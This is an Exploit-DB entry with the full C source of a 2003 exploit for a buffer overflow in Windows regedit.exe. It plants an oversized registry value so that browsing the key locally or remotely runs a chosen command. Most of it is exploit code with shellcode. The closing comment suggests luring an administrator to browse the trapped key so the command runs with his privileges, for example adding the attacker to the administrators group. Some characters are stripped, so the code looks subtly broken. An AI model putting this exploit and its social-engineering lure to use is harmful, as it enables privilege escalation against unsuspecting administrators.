https://www.exploit-db.com/exploits/22528

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7411/info

A problem has been reported in Microsoft Windows. Due to improper bounds checking by the regedit.exe program, it may be possible for a local attacker to execute arbitrary code as another user. 

/**************************************************
09/04/2003
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ Trapped Registery for REGEDIT.EXE exploit @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+++++++++++++++++++++++++++++++++++++++++++++
+                                           +
+       Discovered & coded By ThreaT        +
+                                           +
+++++++++++++++++++++++++++++++++++++++++++++

Contact : [email protected]
URL     : http://www.chez.com/mvm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This is a NEW exploit for a NEW vulnerability
in REGEDIT.EXE !

This one trap a KEY in the registery, that 
when a non informed user just try to BROWSE IT
with REGEDIT.EXE (localy or REMOTELY !) execute
an arbitrary command defined by attacker
without its knowledge !

The vulnerabitily appear to be in a RegEnumValueW
function misused in regedit.exe

By precaution, I council to use regedt32.exe
for your future registery manipulation.

This exploit as been tested on Win2K (fr) SP0,2,3,
and work with a local and remote browse of a 
trapped registery.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
compile -> cl /nologo TrapReg.c /link advapi32.lib
***************************************************/

#include <windows.h>

#define taille 620
#define mastar 1000
#define MaxCommandLen 135
#define DefaultKey "HKEY_LOCAL_MACHINE"

HKEY RootHandle (const char *ROOTKEY)
 
 int indice;

 struct _HandleKey {
  HKEY RK;
  char *KeyName;
 } HandleKey[5] = {
  {HKEY_CLASSES_ROOT, "HKEY_CLASSES_ROOT"},
  {HKEY_CURRENT_USER, "HKEY_CURRENT_USER"},
  {HKEY_LOCAL_MACHINE,"HKEY_LOCAL_MACHINE"},
  {HKEY_USERS,        "HKEY_USERS"},
  {NULL,''},
 };

 for (indice=0; HandleKey[indice].RK ; indice++)
  if (!lstrcmpi (HandleKey[indice].KeyName,ROOTKEY))
   return HandleKey[indice].RK;

 printf ("'%s' is an unknow RootKey! You can only work with the following :n"
  "- HKEY_CLASSES_ROOTn"
  "- HKEY_CURRENT_USERn"
  "- HKEY_LOCAL_MACHINEn"
  "- HKEY_USERSn",ROOTKEY);

 ExitProcess (0);
 return NULL;
 


void main (int argc, char *argv[])
 

 HKEY TrapedKey;

 char shellcode[] = 

 "x50xFCx06x00"

 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

 "xEBx69x6Ax30x5Bx64x8Bx03x8Bx40x0Cx8Bx48x0Cx8BxC1" 
 "x8Bx70x30x80x3Ex4Bx75x4Ax8Bx40x18x8Bx58x3Cx03xD8" 
 "x8Bx5Bx78x03xD8x8Bx73x1Cx03xF0x56x8Bx73x24x03xF0" 
 "x56x8Bx53x20x03xD0x8Bx5Bx18x4Bx8Bx34x9Ax03xF0x03" 
 "x74x24x10x8Bx36x39x74x24x0Cx74x08x4Bx23xDBx75xEA" 
 "x58x58xC3x5Fx33xC9x66x8Bx0Cx5Fx5Fx8Bx3Cx8Fx8Dx04" 
 "x07xC3x8Bx18x39x08x8BxC3x75xA6xC3xEBx22x6Ax01x68" 
 "x69x6Ex45x78xE8x89xFFxFFxFFx6Ax01xFFx74x24x0CxFF"
 "xD0x6Ax01x68x78x69x74x50xE8x75xFFxFFxFFxFFxD0xE8"
 "xD9xFFxFFxFF",

 *VulnBuff, *YourKey=NULL, *p=NULL, Data[] = "Mouarf";

 LONG ret;
 int i;


 printf ("###########################################n"
  "Trapped Registery for REGEDIT.EXE exploit !n"
  "###########################################n"
  "Discovered & coded by ThreaT.nn"
  "URL  : http://www.chez.com/mvmn"
  "MAIL : [email protected]");

 if (argc < 2 || strlen (argv[1]) > MaxCommandLen)
 {
  printf ("Usage : TrapReg.exe <command to be executed> [Key to trap]nn"

   "+ The first argument define the command to execute when ourn"
   "  favourit administrator will browse our trapped key :pnn"
    
   "+ The second argument is optional, you can specify with it then"
   "  path of the key to trap. (default is HKEY_LOCAL_MACHINE).nn"

   "The command to be executed cannot exceed %u caracters.n",MaxCommandLen);

  ExitProcess (0);
 }


 if (!(VulnBuff = (char *) LocalAlloc (LPTR, mastar)))
 {
  printf ("Cannot allocat memory for making the evil buff !n");
  ExitProcess (0);
 }
 
 i = sizeof (shellcode);

 memset (VulnBuff,0x90,taille);
 memcpy (&VulnBuff[taille],shellcode,i);
 lstrcpyn (&VulnBuff[taille+i-1],argv[1],MaxCommandLen);

 if (argc > 2)
 {
  i = lstrlen (argv[2]);
  if ( !(YourKey = LocalAlloc (LPTR,i+2)) )
  {
   printf ("Cannot allocat memory for store the name of key to trap !n");
   ExitProcess (0);
  }

  lstrcpyn (YourKey,argv[2],i+1);

  if (p = strchr (YourKey, 0x5C))
   p[0]=0x00;
 }

 ret = RegOpenKeyEx (YourKey ? RootHandle (YourKey) : RootHandle (DefaultKey),
  p ? ++p : "", 0 , KEY_ALL_ACCESS, &TrapedKey);
 
 if (ret != ERROR_SUCCESS)
 {
  printf ("Cannot open '%s' for trap it !n"
   "See error code number %u for more details.n",
    YourKey ? argv[2] : DefaultKey , ret);
  ExitProcess (0);
 }

 ret = RegSetValueExW (TrapedKey,(const unsigned short *)VulnBuff,0,REG_SZ,(CONST BYTE *)&Data,mastar);
 
 if (ret == ERROR_SUCCESS)
 {
  printf ("'%s' is now trapped for execute '%s' "
   "when our favourite administrator will browse it whith REGEDIT.EXE :pn",
   YourKey ? argv[2] : DefaultKey , argv[1]);

 } else printf ("Cannot write evil value to trap the registery !n"
     "See error code number %u for more details.n",ret);

 RegCloseKey (TrapedKey);
 

/************************************************************************

  a simple methode for test if your system is vulnerable 
  to the 'Trapped Registery for REGEDIT.EXE exploit' !

  after a succesfull compilation of the xploit, type the following
  command on a cmd prompt shell :

--
D:codeexploits>TrapReg.exe "cmd /c echo WARRNING! you are vulnerable to the 
Trapped Registery for REGEDIT.EXE exploit! > c:a.txt & c:a.txt" HKEY_LOCAL_MACHINESOFTWAREMicrosoft

###########################################
Trapped Registery for REGEDIT.EXE exploit !
###########################################
Discovered & coded by ThreaT.

URL  : http://www.chez.com/mvm
MAIL : [email protected]

'HKEY_LOCAL_MACHINESOFTWAREMicrosoft' is now trapped for execute 'cmd /c echo
WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit! >
 c:a.txt & c:a.txt' when our favourite administrator will browse it whith REGEDIT.EXE :p

D:codeexploits>
--

  Ok, everything seen to be good !
  now, launch REGEDIT.exe and go to HKEY_LOCAL_MACHINESOFTWAREMicrosoft.

  If notepad (or your favourite text editor) appear with the sentence :
  "WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit!"

  use regedt32.exe until Microsoft release a patch for regedit.exe :)


  For more fun, you can phone call your system administrator, and say him you have
  a problem with your registery at this specific key.

  When he will try to browse it remotely with regedit.exe, our arbitrary command
  will be executed to his computer with his privilege !

  So, nobody prevent you to trap your registery with a 'NET GROUP ADMINISTRATORS /ADD' :))

************************************************************************************/